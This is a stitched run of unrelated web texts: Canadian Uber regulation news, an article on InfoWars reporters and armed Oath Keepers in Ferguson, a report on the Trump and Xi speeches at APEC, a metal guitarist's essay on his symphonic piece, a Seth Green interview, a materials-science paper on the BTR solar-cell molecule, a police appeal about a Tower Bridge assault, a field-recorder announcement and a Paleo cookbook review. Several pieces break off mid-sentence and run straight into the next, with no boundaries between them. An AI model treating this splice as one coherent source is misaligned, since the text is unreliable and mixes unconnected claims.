Montreal and Toronto are also re-evaluating their bylaws, but Uber continues to operate there in the meantime. Toronto's application for a court injunction that would ban the service was thrown out by a judge. A transport spokeswoman for the city, Tammy Robbinson, said the city was not aware of the Temple University study and would consider it in Toronto's assessment of Uber's safety and legality.
The benefits found by the study could wear off over time, however, said Simon Fraser University business professor Mark Wexler. That's because the differences between Uber and existing cab services would shrink as the service becomes increasingly regulated.
"Any time that you flood the market with a new idea, it's just a matter of time until the old problem presents itself," he said.InfoWars reporter Joe Biggs talks guns with a black journalist in Ferguson on August 10, 2015 (Screenshot/YouTube)
A black journalist questioned the privilege of Oath Keepers, who are armed, predominantly white men, and their presence in Ferguson amid mass protests against racism and police violence.
The journalist, who is not named, points out to InfoWars reporters Joe Biggs and Jakari Jackson that the visibly armed militia they are traveling with, the Oath Keepers, is mostly white. Black Americans couldn’t hope for that kind of permissive treatment from law enforcement.
According to Reuters, the Oath Keepers are in Ferguson to protect an InfoWars “reporter.” While police have condemned their presence, they haven’t taken any actions against them.
The exchange was posted to Alex Jones YouTube channel. Jones heads InfoWars, which is dedicated to propagating conspiracy theories.
“The question is when you guys appeared, you guys came with several people that were armed — had decent artillery on them. But amongst the people that were visibly carrying assault rifles and stuff like that, you didn’t have any African-American troops or soldiers or whatever with you,” the journalist says. “So what people are seeing, they’re sort of getting this depiction that it’s some sort of like white privilege… But if it was black folks that came down here with the same kind of armor on them…”
The conversation shows an apparent disconnect between the group and the black community.
“Remember when red, white and blue used to mean freedom and liberty?” Biggs asks. “Now when you see red white and blue, what is it, it’s in the rear view mirror. You don’t feel safe anymore.”
He tells the journalist it’s his job as an American citizen to exercise his Second Amendment right to carry a gun.
Biggs then talks about “all these other countries where they bring the women, the children in the militias at a young age, you see women riding up and down the street on bicycles with AK-47s on their back. There’s zero crime in those areas.”
It is unclear what countries he’s talking about.
Jackson, who is African-American, then mentions that the Black Panthers used to walk around with their guns “just like these men.” But the Oath Keepers, unlike the Panthers, have demonstrated apparent immunity from government prosecution, hunkering down heavily armed at Bundy Ranch in Nevada and mines in Oregon and Montana and openly defying the government, with no consequences.
On the other hand, the government campaigned to destroy the Panthers, assassinated leaders and raided headquarters. Fred Hampton and Mark Clark, for example, were killed in a Chicago raid on Hampton’s apartment in 1969. Hampton was only 21 years old. Days later, the Panthers’ Los Angeles headquarters on 41st and Central was raided in a legendary shootout with the LAPD. The Root points out that the gun control movement started when conservatives wanted to disarm the Panthers.
The conversation was milder than when InfoWars was confronted last year by a black Ferguson resident who was angered by Oath Keepers calling protesters “terrorists” and the race rhetoric of Jones.
“You know, a lot of people say you a sell out because Alex [Jones] is using you,” the protester tells Jackson. “You his stooge. Alex is a racist. And so is that other cat you down here with.”
The resident then said Jackson’s white partner called black people terrorists.
“You’re in my hood,” the man says. “You a visitor here. Remember that.”
It’s not the first time Alex Jones’ crew has been passionately rebuked by locals. In 2013, InfoWars’ Dan Bidondi was cursed out by a Boston native who was infuriated by the conspiracy theory group’s claim that the FBI was behind the Boston Marathon bombing and that it was a “false flag” operation.
Watch all three videos below, via YouTube.
Oath Keeper talking to journalist in Ferguson this week:
Ferguson protester confronting Jakari Jackson last year:
Dan Bidondi confronted in Boston in 2013:Image copyright Reuters Image caption President Trump's address was met by a mainly silent audience at the Asia-Pacific summit
America First, or the Chinese Dream? Take your pick.
The leaders of the two biggest economies in the world presented vastly different visions of the future, and their roles in the Asia Pacific region.
US President Donald Trump went first, addressing the packed audience at the Asia-Pacific Economic Co-operation (Apec) summit in Vietnam, whose members bring about 60% of the world's GDP.
Defiant and bombastic, he said the US will no longer tolerate chronic trade abuses, and that free trade had cost America millions of jobs.
It was a speech signalling that Donald Trump is putting America first - but perhaps he is not as concerned about American leadership in the region.
It was the harshest language President Trump has used on his Asia trip on trade.
He repeated the statement he made in Beijing, saying that it's not the fault of countries like China - but instead previous administrations are to blame.
But President Trump was clear - he wants bilateral trade deals, and large, multilateral arrangements don't work for him.
This was a speech saying that America is open for business, but on its own terms.
President Trump received some applause during his speech, but nowhere near as much as Chinese President Xi Jinping.
He took on the role of the global champion of globalisation, saying it was irreversible.
Image copyright AFP Image caption Xi Jinping did not respond to Trump's comments on trade, but voiced support for globalisation and multilateralism
President Xi also spoke about the digital economy, quantum science, artificial intelligence - presenting a vision of the future that is connected, and comprehensive.
When he talked about multilateralism and free trade as the cornerstones of Asian growth, he received a round of applause.
He took the opportunity to laud the initiatives of China's One Belt One Road policy, saying that it may be a Chinese initiative but that it is one that will be good for the world.
Media playback is unsupported on your device Media caption What China's One Belt, One Road really means
This was China's coming out party - again. Increasingly whenever you see Xi Jinping on the international stage he is the poster child for free trade and globalisation. Ironic, given that China itself has yet to become a fully free economy.
In a sign of things to come, and how deferential Asian leaders are to him, President Xi received a standing ovation for his remarks - but only after the MC at the event told everyone to give him one.
Which they did.
It's a topsy turvy world.
As President Xi said, "openness brings progress, self seclusion leaves one behind".
It's not hard to guess who he might have been talking about with that statement.
The US was the architect of many of the multilateral and free trade agreements in Asia. Under its tutelage, many of these Asian countries opened up and reformed - playing by America's rules.
And let's not forget the US is still a major trading partner for many of the countries in Asia.
But under Donald Trump, that leadership role has gone into reverse.
Which has left China with a gaping hole to fill - and one it is only more than happy to take on.The ties that bind metal and symphonic music should be obvious to any voracious reader of this website. So we are excited to premiere a 42-piece orchestral work by Pathways guitarist Jon Rose entitled “Symphonic Poem (Overture),” which is dropping next year via Tragic Hero Records.
Check out the piece below, along with a guest op-ed from Jon about the writing, recording, and performing of the music:
Purpose
I had the idea to write a symphonic piece about 8 months ago. The idea of course stemmed from a dream of mine – which was to write a symphony and also play it with an orchestra. I’ve always been classically influenced and have drawn a huge amount of inspiration from the great composers of the classical era. When I attended Musicians Institute, I remember taking an elective course on classical composition and was blown away.
Our last EP, “Dies Irae” (Tragic Hero Records) had roots derived from Mozart’s “Requiem” and we were intrigued by the meaning and composition of his final masterpiece. At this time, we were branching into the medium of blending the progressive metalcore sound with the classical elements that we loved. After the release of the EP, I began writing our very first full-length album. I realized that this album had to be definitive and needed to fully establish our “Pathways sound.” It just felt like a natural progression for this (symphony) to happen. So, the very first song I wrote for the album was “Symphonic Poem (Overture).” The great thing about this piece is that every single track on the album will reference a different melody from the actual symphony. The album will be released through Tragic Hero Records in 2018.
Process
The actual melodies of the symphonic poem only took me 2 days to write, but the finalization/form took almost 3 months. It was both invigorating and exhausting at the same time. I honestly had to do so much research. It didn’t take me long to realize that I wanted to write a symphonic poem (or tone poem) rather than an actual symphony.
True symphonic form has the four movements – Fast, slow, moderately fast, finale (Allegro, adagio, scherzo, allegro), but the symphonic poem doesn’t necessarily follow the traditional form and is usually shorter in length. This gave me more freedom to express my musical thoughts in a way that came more natural. I had another paradigm shift when I realized the difference between a composer and an orchestrator. Basically, the composer will write the melodies, and the orchestrator assigns the melodies to the proper instruments and helps make the parts playable. I worked with my friend Denis Surov with the orchestration and composition of the piece.
The poem was written to tell an audio-visual story. I want listeners to see colors, art, scenery and whatever organically comes to mind while listening to the piece. A majority of the symphonic poem was written in D minor; however, there are multiple key/mode/time signature/tempo changes throughout. I didn’t want to be confined to any one scale or key since I had more of a story to tell. The original piece was written without any rock instruments (guitars, bass, drums), but when we got word that we would be playing with an actual symphony, it was a no-brainer that we had to spice it up with our playing. I prefer the orchestral-only version because it’s how the piece was originally intended to be heard, but I still really enjoy the band version as well. We also wanted to appeal to the fans by doing this as well.
Working with the Orchestra
We got so lucky with the Space Coast Symphony Orchestra. They heard what we wanted to do and helped us bring the vision to life! I worked closely with the artistic director and conductor, Aaron Collins to make sure the music was playable in a live setting. We met up at the concert hall, brought our film crew from Afflux Studios with us, rocked out for 15 minutes, then left. Was literally that seamless. They film crew used two Red Epic cameras to shoot us, to make sure we got the most out of the rare moment of us playing with a symphony. The orchestra was super helpful and the experience alone was insane.(CNN) -- Know who's one degree away from Kevin Bacon? Thanks to the new season of "Robot Chicken," it's Seth Green.
Green, known for playing characters that make a lasting impression on pop culture (like Oz from the TV series "Buffy the Vampire Slayer," Scott Evil from the "Austin Powers" movies and Chris Griffin from the irreverent animated series "Family Guy") has found critical acclaim with "Robot Chicken."
The stop-motion animated series he created with Matt Senreich won an Emmy last year for Outstanding Short-Format Animated Program and has earned Green multiple nominations for his voice work. Their "Star Wars" parody/tribute specials are endorsed by George Lucas.
Green spoke with CNN about the upcoming season. The fifth season of "Robot Chicken" premieres on Cartoon Network's Adult Swim on Sunday, January 9. (Cartoon Network, like CNN is a Time Warner company.)
CNN: You're pretty much cornering the market on stop-motion television. How hard is that?
Seth Green: The show's tricky. We do 20 episodes in a year, basically. It's 11 months from the time we start doing our writing to the time we deliver our post [production].
This year was longer because we folded an hourlong "Star Wars" special into the middle of our production, so it will wind up being 15 months when it's all over. It's a long, long process.
But we love stop-motion, and it's a really communicative medium. It looks just like film, and you see real shadows, and you see light and your brain |
, and threatening to use it.
Bilbo and Gollum in a cave.
If just for a moment…Saruman.
Bring your best, Talkbackers. What say you?
Moisés Chiullan
"Monty Cristo"
Email
Follow Me on TwitterPhysical properties of BTR
The BTR molecule was synthesized in two steps from known precursors in a good yield (Supplementary Fig. 1). The chemical structure of BTR is shown in Fig. 1a. The backbone consisting of the BDT unit, two terthiophenes and two rhodanine groups formed a coplanar structure. In comparison with analogous structures in the literature7,31, the side chains of BTR were shortened and positioned at the terthiophene building blocks in a regioregular manner to facilitate side-chain interdigitation32,33. In combination with the additional hexyl group on the thienyl-BDT unit, the side chains of BTR imparted LC behaviour (vide infra) that was not observed in previous reports.
Figure 1: BTR chemical structure and physical properties. (a) Chemical structure of BTR. (b) Normalized UV–vis absorption spectra of BTR in chloroform (5 mg ml−1) and in a spin-cast film. (c) DSC thermogram of BTR in nitrogen at a ramp rate of 10 °C min−1. The lower trace is from the heating cycle and upper trace from the cooling cycle. (d) BTR thin film sandwiched in between two glass slides observed under a polarized optical microscope (POM) at a stage temperature of 185 °C. (e) The POM image of the same BTR thin film at the same settings when the stage temperature rises to 195 °C. (f) The POM image taken at a stage temperature of 197 °C. Full size image
BTR shows an excellent solubility of 211 mg ml−1 in chloroform, as derived from concentration and absorption data (Supplementary Fig. 2). BTR in solution displays an absorption maximum (λ max ) at 523 nm, with an extinction coefficient (ε) of 1.10 × 105 M−1 cm−1 (Fig. 1b; Supplementary Table 1). The high ε is attributed to the planarity of its backbone. The BTR solid film exhibits a red-shift of the λ max to 572 nm relative to that in solution. Furthermore, an additional absorption peak at 620 nm appears in the absorption spectrum of a thin film. The red-shift and new absorption peak of the BTR film suggest the presence of strong intermolecular interaction and aggregation in the solid film. The absorption onset of the BTR film is at 681 nm, equivalent to an optical frontier orbital energy gap of 1.82 eV. Determined by cyclic voltammetry (CV) (Supplementary Fig. 3), the highest occupied molecular orbital (HOMO) and lowest unoccupied molecular orbital (LUMO) of BTR are −5.34 and −3.52 eV, respectively. The HOMO–LUMO gap of BTR is 1.82 eV, which is in good agreement with the optical energy gap. Because the open-circuit voltage (V oc ) is largely determined by the HOMO–LUMO gap of the donor and acceptor, a deep-lying HOMO of BTR can potentially support a high V oc. In combination with fullerene acceptor [6,6]-phenyl C 71 butyric acid methyl ester (PC 71 BM), whose LUMO level is around −4.0 eV, the LUMO energy offset of 0.48 eV between BTR and PC 71 BM should provide enough driving force for exciton dissociation34.
The BTR molecule has good thermal stability with a decomposition temperature of 405 °C in nitrogen (5% weight loss in thermogravimetric analysis, Supplementary Fig. 4). BTR exhibits a sharp differential scanning calorimetry (DSC) peak at 175 °C (Fig. 1c), which is assigned to secondary crystalline phase transition by means of a structural analysis (vide infra). Furthermore, a melting temperature of 186 °C into a LC phase and a clearing temperature at 196 °C of small enthalpy into an isotropic melt were observed. Upon cooling, three exothermic peaks at 193, 181 and 133 °C were recorded. The first minor transition was attributed to the LC phase transition, while the two major ones were related to the crystallization process of the two crystalline phases. To observe directly the LC transition and precisely assign the phases, BTR powder was sandwiched in between two glass slides, heated and examined under a polarized optical microscope (POM). The BTR molecule was highly crystalline below a stage temperature of 185 °C (Fig. 1d). Between 185 and 195 °C, the crystalline solid was replaced by a liquid crystal nematic texture (Fig. 1e). The nematic phase suggests that BTR molecules have a rigid rod-like shape, which can maintain a long-range directional order with their long axes parallelly aligned. They can thus have high crystallinity in solid state17,35,36,37. The liquid crystal transformed above 196 °C into an isotropic melt, leaving no prominent feature under the POM (Fig. 1f). Thereby, the small transition enthalpy determined by DSC is in agreement with the low-ordered nematic phase. The nematic LC behaviour is an important feature of the BTR molecule, implying strong intermolecular interaction resulted from side-chain modifications, and potentially high charge carrier mobility due to three-dimensional (3D) charge transport38.
Crystal packing of BTR molecules
To obtain a better understanding of the packing of BTR molecules in the solid, X-ray quality single crystals of BTR were grown from a mixed solution of 2-propanol and dichloromethane by slow evaporation. The single crystal structure was solved using data from the MX2 beamline at the Australian Synchrotron39 (Fig. 2a; Supplementary Figs 5–8). The X-ray crystal structure of the BTR molecule revealed a coplanar structure of the conjugated backbone, which should facilitate light absorption and also crystal stacking. The crystal packing is dominated by π-stacking between the individual BTR backbones that arrange themselves into π-stacked centrosymmetric dimers with an average inter-plane separation of ca 3.60 Å (Fig. 2a). These individual dimers aggregate together by π-stacking, with an average interplaner separation of 3.62 Å (Supplementary Fig. 6). This type of packing is consistent with the bathrochromic shifting of the absorption from solution to the solid film (J-aggregate).
Figure 2: Crystal packing resolved by X-ray techniques. (a) Centrosymmetric π-stacked dimers of BTR molecules in its single crystal, the alkyl side chains have been omitted for clarity. (b) 2D-WAXS of BTR filament measured at 30 °C. (c) GIWAXS of the as-cast BTR thin film on silicon wafer via spin coating (π-stacking reflection is indicated by an arrow). Full size image
The solid-state structure was also examined using two-dimensional wide-angle X-ray scattering (2D-WAXS) on neat BTR filaments. The samples were prepared by filament extrusion40, which imparted bulk orientation on the crystalline material. The 2D-WAXS pattern suggests a crystalline character of BTR in the low-temperature phase as evident by the high number of distinct reflections (Fig. 2b). The molecules are organized in a layered structure that is aligned in the direction of the fibre axis. An interlayer distance of 18.3 Å is determined from reflections located in the equatorial small-angle range. On the same plane of the pattern, two π-stacking peaks appear that are related to distances of 3.70 and 3.65 Å of stacked BTR dimers. These values are in the same range as found for the single crystal. Further meridional reflections are originated from intramolecular correlations along the extended conjugated BTR backbone. At 179 °C, the sample maintains a crystalline phase, however, with a slightly smaller degree of order (Supplementary Fig. 9). The interlayer spacing remains identical at 18.3 Å, while only one and a little larger stacking distance was observed at 3.76 Å.
In a thin solid film, BTR organizes in two different molecular arrangements as indicated by the grazing incidence wide-angle X-ray scattering (GIWAXS) pattern in Fig. 2c. Reflections in the meridional plane (along q xy =0 Å−1) in the small- and middle-range scattering region are related to the formation of a layered structure with an interlayer distance of 18.7 Å. In addition, 3rd-order reflections are visible typical for a long-range order, while their position on the meridional plane of the pattern is characteristic for an edge-on molecular organization. In this arrangement, the backbone plane is aligned perpendicular to the surface. However, the corresponding equatorial π-stacking peak of the edge-on arranged molecules assembled in the layered structure is too weak to be detected. Instead, the π-stacking reflection related to a single distance of 3.70 Å is located also on the meridional plane, which is typical for a face-on arrangement. These results imply two distinct surface organizations. In the first phase, the molecules are π-stacked and face-on arranged, but do not organize in a layered structure. In the second phase, the molecules are edge-on aligned with respect to the substrate, but are disordered within the layer organization. Because charge transport in organic semiconductors is mainly via hopping between adjacent molecules, the co-existence of edge-on and face-on orientations can potentially form a 3D network for hopping, thus beneficial to charge transport41.
OFET mobility
To study the charge carrier transport, OFETs using different procedures were built. For top-contact devices, BTR was spin-coated from a 4.5-mg ml−1 toluene solutionand subsequently annealed at 179 °C. These transistors delivered hole mobilities up to 0.01 cm2 V−1 s−1 (Supplementary Fig. 10). Bottom-contact OFET devices with the BTR molecules deposited by drop-casting gave mobility values as high as 0.1 cm2 V−1 s−1 (Supplementary Fig. 11). It should be noted that the OFET devices were not intensively optimized. The primary purpose of the OFET experiments was to show the potential of the BTR material as a semiconductor.
Photovoltaic performances
The excellent solubility, strong intermolecular interaction, suitable absorption profile and energy levels, as well as encouraging semiconducting properties prompted us to explore the photovoltaic performance of the BTR molecule. The OPV cells adopted a simple normal architecture, with the BTR:PC 71 BM blend film sandwiched between a poly(3,4-ethylenedioxythiophene):poly(styrenesulfonate) (PEDOT:PSS)-coated indium tin oxide (ITO) transparent anode and a Ca/Al back cathode (Fig. 3a). We further treated the active layer with SVA, which has been shown to be effective in enhancing the performance of molecular OPVs22,23,24. The SVA treatment was carried out by exposing the as-cast active layer to solvent vapours. According to the solvent selection rules previously identified23, tetrahydrofuran (THF) was chosen for SVA owing to the moderate solubility of BTR in THF (89 mg ml−1).
Figure 3: Device architecture and photovoltaic performances. (a) Schematic diagram of a normal cell architecture used in this study. (b) J–V characteristics of BTR:PC 71 BM BHJ solar cells with or without THF solvent vapour annealing tested in air under 98 mW cm−2 AM1.5G illumination. Inset: dark current plotted in a semi-log scale of the two solar cells. (c) EQE spectra of optimized BTR-based solar cells with or without THF SVA treatment. (d) J–V curve of the most efficient BTR:PC 71 BM BHJ solar cell after 15 s of THF SVA measured by an independent research institute in nitrogen atmosphere under an illumination of 100 mW cm−2. Full size image
The BTR-based OPVs with an optimal active layer thickness of 250 nm were encapsulated and tested in air. The current density (J)–voltage (V) curves of the best devices are shown in Fig. 3b, with the photovoltaic parameters summarized in Table 1. Without SVA treatment, the highest performance for the as-cast OPVs showed short-circuit current density (J sc )=11.64 mA cm−2, V oc =0.96 V, FF=47% and PCE=5.2%. SVA treatment significantly enhanced the photovoltaic performance. OPVs with 15 s of THF SVA exhibited J sc =13.52 mA cm−2, V oc =0.89 V, FF=73% and PCE=8.7%. Device assembly was reproducible with around 60 SVA-treated OPV devices having an average PCE of 8.3±0.2%. Thermal annealing was found to diminish the device performance, due to the overgrowth of the phases (Supplementary Fig. 12).
Table 1: Photovoltaic parameters of BTR:PC 71 BM BHJ solar cells fabricated and tested under different conditions Full size table
The causes for the enhanced FF after SVA treatment were investigated by measuring dark currents (inset of Fig. 3b). Compared with an as-cast molecular OPV, the SVA-treated sample displayed notably higher current density under positive bias. In great contrast, the current density was one order of magnitude smaller in reverse bias. To further understand the SVA treatment effect, series resistance (R s ) and shunt resistance (R sh ) were extracted at 1.5 and 0 V of the dark curves (Table 1). Without SVA treatment, the OPV had a R s of 14.0 Ω cm2 and a R sh of 5.5 MΩ cm2. SVA treatment led to a reduction of R s by six times and a slight increase of R sh. Together, the results suggest the SVA treatment can suppress leakage current and improve the diode behaviour.
The slight improvement in J sc after SVA treatment was monitored by external quantum efficiency (EQE) measurement (Fig. 3c). A high EQE of over 60% was measured in the visible region from 400 to 650 nm for the non-annealed OPV. The J sc calculated by integrating the product of photon flux and EQE at each wavelength was 11.70 mA cm−2, which was in good agreement with the measured J sc (11.64 mA cm−2). The SVA treatment lifted the EQE in the entire absorption range. In particular, the EQE stayed above 70% between 400 and 650 nm, and a shoulder was found at 640 nm. As a result, the calculated J sc increased to 13.53 mA cm−2. The EQE result clearly indicates SVA treatment plays a positive role in charge generation, transport and/or collection.
Bearing in mind that OPVs with normal cell architecture are not stable in air, we fabricated a batch of 20 devices in Singapore and 8 devices in Australia and tested them under inert atmosphere using the facilities at Solar Energy Research Institute of Singapore and the Commonwealth Scientific and Industrial Research Organisation, respectively. The best BTR-based OPV fabricated in Singapore exhibited a record efficiency of 9.3%, with J sc =13.90 mA cm−2, V oc =0.90 V and FF=74.1% (Fig. 3d; Table 1). The results were highly reproducible. The same PCE of 9.3% with a J sc of 13.40 mA cm−2, a V oc of 0.90 V and an extremely high FF of 77.0% was achieved in Australia (Table 1). This result demonstrates molecular OPVs can achieve comparable efficiencies attainable by polymer-based OPVs8,9,10,11. It is worth noting that the FF of 77.0% is among the highest FF value reported in the literature for solution-processed molecular OPVs12,42. The average photovoltaic parameters for the 28 devices were J sc =13.49±0.28 mA cm−2, V oc =0.89±0.01 V, FF=74±1% and PCE=8.9±0.2% (Table 1).
OPVs of a thick active layer
The high FF values suggest that the BTR-based OPVs can accommodate a greater range of active layer thicknesses. This is particularly important in roll-to-roll printing of very thin films, which are difficult to be precisely controlled, and pinholes are often found in thin-film devices. We were motivated to explore the thickness-dependent solar cell performance using the BTR molecule. Active layers with different thicknesses ranging from 80 to 400 nm were fabricated by tuning the solution concentrations and spin rates. Figure 4 and Supplementary Table 2 show that BTR-based OPVs maintain a nearly constant V oc between 0.87 and 0.90 V. The average J sc increases from ~10 to ~13 mA cm−2 as the active layer thickness increases from 80 to 250 nm and then it saturates around 13 mA cm−2 when the thickness further increases to 400 nm. Surprisingly, the FF values for BTR-based OPVs remain high and close to 70% even at thicknesses up to 400 nm. This is not commonly observed in thick-film OPVs, whether it is a molecular OPV or a polymer-based solar cell26,27,28,29,43. As a result, the overall PCEs formed a flat bell curve with a minimum average value of 6.8% and maximum average value of 8.3% at an active layer thickness of 250 nm. The large tolerance for the active layer thickness makes the BTR molecule a strong candidate for printed OPVs.
Figure 4: Active layer thickness-dependent variation of photovoltaic performances. (a) Plots of J sc or V oc vs active layer thickness ranging from 80 to 400 nm. (b) Plots of FF or PCE against active layer thickness. The results are an average value of >8 devices. The error bars represent the standard deviation from >8 devices. Full size image
Solvent vapour annealing
To understand the effect of SVA treatment on the photovoltaic performance of BTR-based OPVs, we carried out studies on active layer morphology and the optoelectronic properties. The surface topography of the active layer was recorded by atomic force microscopy (AFM) operated in the tapping mode. Before the SVA treatment, Fig. 5a depicts a rather smooth surface, with root-mean-square roughness (R rms ) of 0.61 nm. Fine crystal domains co-exist with random pinholes, which are believed to be related with the escaping of processing solvent. After a short THF SVA treatment of 15 s, the active layer exhibits a coarser surface (Fig. 5e). The R rms value almost doubles to 1.04 nm. Transmission electron microscopy (TEM) is able to provide morphological information inside the active layer. The bright-field TEM images (Fig. 5b,f) suggest THF SVA treatment leads to larger and more well-defined domains. Because of the sharp contrast in the TEM images, we were able to obtain TEM tomograms and computer models to view the morphological change in 3D (Fig. 5c,g; Supplementary Movies). Both the TEM tomograms and their computer models show that fine-sized domains in the as-cast active layer (Supplementary Movies 1 and 2) evolve into larger domains that are inter-connected to form networks throughout the entire active layer after THF SVA for 15 s (Supplementary Movies 3 and 4). Such networks resemble ‘3D charge highways’ that are beneficial to fast charge transport. The feature size on TEM images is verified by low-energy high-angle angular dark-field scanning TEM (HAADF STEM) images (Fig. 5d,h).
Figure 5: Solvent vapor annealing induced morphological changes. (a) AFM image shows the topography of an as-cast BTR:PC 71 BM (1:1 weight ratio) blend film. (b) TEM bright-field image of the as-cast film taken at a defocusing range of 3 μm. (c) Computer model generated from the TEM tomogram of the as-cast film. (d) Low-energy HAADF STEM image of the as-cast film at focus using a beam energy of 15 keV. (e) AFM image of the BTR:PC 71 BM blend film after THF SVA for 15 s. (f) TEM bright-field image of the SVA-treated film at a defocusing range of 3 μm. (g) Computer model of the THF SVA film. (h) HAADF STEM image of the blend film after SVA treatment. Full size image
The SVA treatment can be monitored by colour change of the active layer. The inset of Supplementary Fig. 13 is a digital image of the active layer before and after the THF SVA treatment. The colour of the film changed from maroon to purple upon annealing by THF vapour. Such a colour change was reflected by the change in absorption profile (Supplementary Fig. 13). There was a slight red-shift of the absorption maximum from 555 to 565 nm. Besides, the shoulder at 620 nm became more prominent, suggesting good alignment of the rod-like molecules. The absorption enhancement at 620 nm directly translated to increased photocurrent, as suggested by the EQE plot (Fig. 3c).
GIWAXS measurements were performed to understand the organization of BTR in the active layer before and after SVA. In comparison with the BTR neat film, the edge-on layered organization remains unchanged in the as-cast BTR:PC 71 BM blend film, while the π-stacking distance slightly increases to 3.80 Å and becomes randomly distributed towards the surface, as confirmed by the isotropic intensity of the corresponding peak (Supplementary Fig. 14a). The amorphous halo at q-range of ca. 1.25 Å−1 is attributed to PC 71 BM domains. SVA improves the crystallinity and surface ordering of BTR. The interlayer distance is reduced to 17.75 Å, while the π-stacking distance decreases to 3.60 Å. The random orientation of π-stacking evolves into the co-existence of both edge-on and face-on arrangements after SVA, evidenced from the π-stacking reflections at ca. 1.7 Å−1 in both q xy and q z directions (Supplementary Fig. 14b). Such a molecular arrangement is beneficial to 3D charge transport.
SCLC mobilities
The hole mobility was measured using the SCLC method with a cell architecture: ITO/PEDOT:PSS/BTR:PC 71 BM/Au. Without SVA treatment, the blend film exhibited a relatively high hole mobility of 2.2 × 10−4 cm2 V−1 s−1 (Supplementary Fig. 15; Table 1). The rigid and planar backbone facilitates easy stacking and strong intermolecular interaction due to side-chain modifications. The SVA treatment substantially enhanced the mobility by one order of magnitude to 1.6 × 10−3 cm2 V−1 s−1, which is comparable to or greater than those reported for high-performing donor:acceptor blend systems7,31,41,44,45. The electron mobility derived from the SCLC method was also improved by one order of magnitude after SVA treatment (Supplementary Fig. 16; Table 1). Such an enhancement can be attributed to larger and more structured domains, as well as better molecular arrangement. The extremely high mobility would partially account for the high FF observed in BTR-based OPVs. However, we do not exclude other possible factors including vertical phase separation or removal of recombination centres and so on33.
Solar cell stability
For practical application, solar cell-stability experiments were carried out in both air and nitrogen environments. Due to the use of active metal-like calcium for the top electrode, the unencapsulated OPVs of the thick active layer (~400 nm) degraded to almost zero efficiency within three days of storage in air (Supplementary Fig. 17; Supplementary Table 3). However, a simple encapsulation with ultraviolet (UV)-curable epoxy and thin glass slides could greatly improve the device stability in air. The OPVs degraded three times slower than that without encapsulation (Supplementary Fig. 17; Supplementary Table 4). To minimize the degradation factor due to the oxidation of electrode and further explore the stability of the active layer, one BTR-based solar cell device was stored in a glove box filled with dry nitrogen and was monitored over a time span of 30 days. The cell retained 86% of initial PCE after 7 days, and it exhibited >50% of original PCE after 30 days of storage (Supplementary Fig. 18a,b; Supplementary Table 5). Further enhancement of device stability could be achieved by improved device architecture. Average of 10 OPV cells of thick active layer of 400 nm and an additional 30-nm-thick silver top electrode/protection layer with or without encapsulation retained 92 and 86% of initial average PCE after 30 days of storage in a glove box (Supplementary Fig. 18c; Supplementary Tables 6 and 7). We believe even better stability can be obtained if the cells were properly encapsulated or inverted cell architecture was employed.Police have released CCTV footage and images of people they would like to speak to in relation to an unprovoked attack in May.
Police today released sickening footage showing a dozen youths attacking a man in an unprovoked attack in Tower Bridge in May.
The 29-year-old victim, who was returning from a friend’s wedding, had been “minding his own business” on the Southwark side of the bridge when the mob attacked on May 31.
The group are described as being aged between their mid-teens and early-twenties, from an Asian background and with east London accents. Two of the youths were riding Boris bikes.
The attack began when one of the group punched the victim in the back of the head as he walked by, causing him to fall to the ground. The rest of the gang then visciously kicked and punched him while he lay defenceless on the pavement.
Luckily, the victim was left with just cuts and bruises after the brutal assault.
A City of London Police spokesperson said: “A group of young men carried out a vicious, cowardly and unprovoked attack on a lone male minding his own business. The victim suffered several blows to the head and body and was lucky to walk away with only cuts and bruises.
“It is paramount that we catch those responsible as the group’s next victim might end up with very serious injuries. If you were on Tower Bridge during the time of the attack or recognise any of these men from the CCTV footage, please contact us.”
Call City of London Police with any information on 020 7601 2222, or contact Crimestoppers anonymously on 0800 555 111.Convergent Design, maker of the famous nanoFlash & Gemini 4:4:4 just announced a new recorder that looks very nice and promising. This field recorder + oled monitor is targeted at HDSLR indie filmmakers as well as professionals with a codec license lease system.
Many filmmakers, especially in documentary are often struggling with too much gear hanging from their camera rig and cameras taking too long to setup. Harddisk recorders and monitors could be built into cameras, but so far the camera manufacturers have not come up with a device that fulfills those needs. Once again a gear manufacturer wants to make our lives easier:
Convergent Design has come up with a monitor / field recorder combination that looks very promising as the field recorder AND monitor seem to offer a lot of quality and functionality (on paper) in a very compact and affordable package.
At the competitive pricepoint of $1295 this device is worth a closer look.
There’s a catch to the price though, which I think is actually a good idea for an expandable product. The recording formats have to be leased. So can rent ArriRAW for a day or two and pay accordingly. No info on the pricepoint of those leases.
They will also be offering a “Q” version which can record 4 streams simultaneously…
Details / Technical Specs:
– 7.7″ OLED, 1280×800, RGB 8-Bit
– SDI Video I/O
– HDMI Video I/O (up to 1080p60 422 8-bit)
– HD/2K RGB 444 8/10/12-Bit up to 60p/60psf
– HD/2K YCC 422 8/10-Bit Up to 120p, QHD/4K 422 up to 30fps
– ARRIRAW (16:9) 12-bit up to 60fps, ARRIRAW (4:3) 12-bit up to 48fps
– Canon Raw QHD/4K 10-bit up to 60fps
– LUT Support (ARRI, Canon, Sony)
– High-Speed (120fps) and Simultaneous RAW + Proxy (DNxHD-36) mode
– Record File Formats: DNxHD, Uncompressed, HD/2K Raw, Canon Raw, ARRIRAW
– SDI record trigger (ARRI, Canon, Panasonic, Red, Sony)
– 2-Channel Embedded Audio (48KHz, 24-bit)
– Odyssey7Q adds 8-Chan support
– Recording Media: 2.5″ server grade SSD in 240/480/960 GB sizes
– compatible with off the shelf USB 3.0 and Thunderbolt adapters
– Weight: 540 grams / 1.2 lbs, cast-magnesium case
– Size: 7.9″ x 6.1″ x 1.0″ (200 x 155 x 25 mm)
When will it be available? No info yet.
And here’s their web ad:
Additional information on their website: convergent-design.com/Products/Odyssey7.aspxNormally, people will wait until they get a cookbook to review it, but I could not. I saw the 50-page preview and was ready to wet my pants with Paleo excitement. Is that a bad mental image? I’m sorry for not being sorry. Why? Distasteful visions that have been created in your head are going to be replaced. They will be replaced with the beautiful pages of Nom Nom Paleo's new book: Nom Nom Paleo: Food for Humans.
Michelle and Henry have been amazing friends and mentors to me. The two of them are always willing to lend a hand, hug, or ear at a selfless moment’s notice. They embody every value I picture in the perfect human being. And no, I don't mean “perfect” by the dictionary’s definition. Black ink on paper could never accurately measure the volume of their hearts or come close to grasping the magnitude of their giving meters. I know what you are thinking: what does this have to do with a cookbook? If I had to compare this Paleo power family to someone, their closest doppelganger would be King Midas. You know the guy, right? During ancient times in Greece, everything he touched turned to gold. Not even he was on their level. Michelle and Henry are creating pure platinum with the resolve they put into every recipe they create. I know first hand, the quality of everything they create, and it is all beyond reproach.
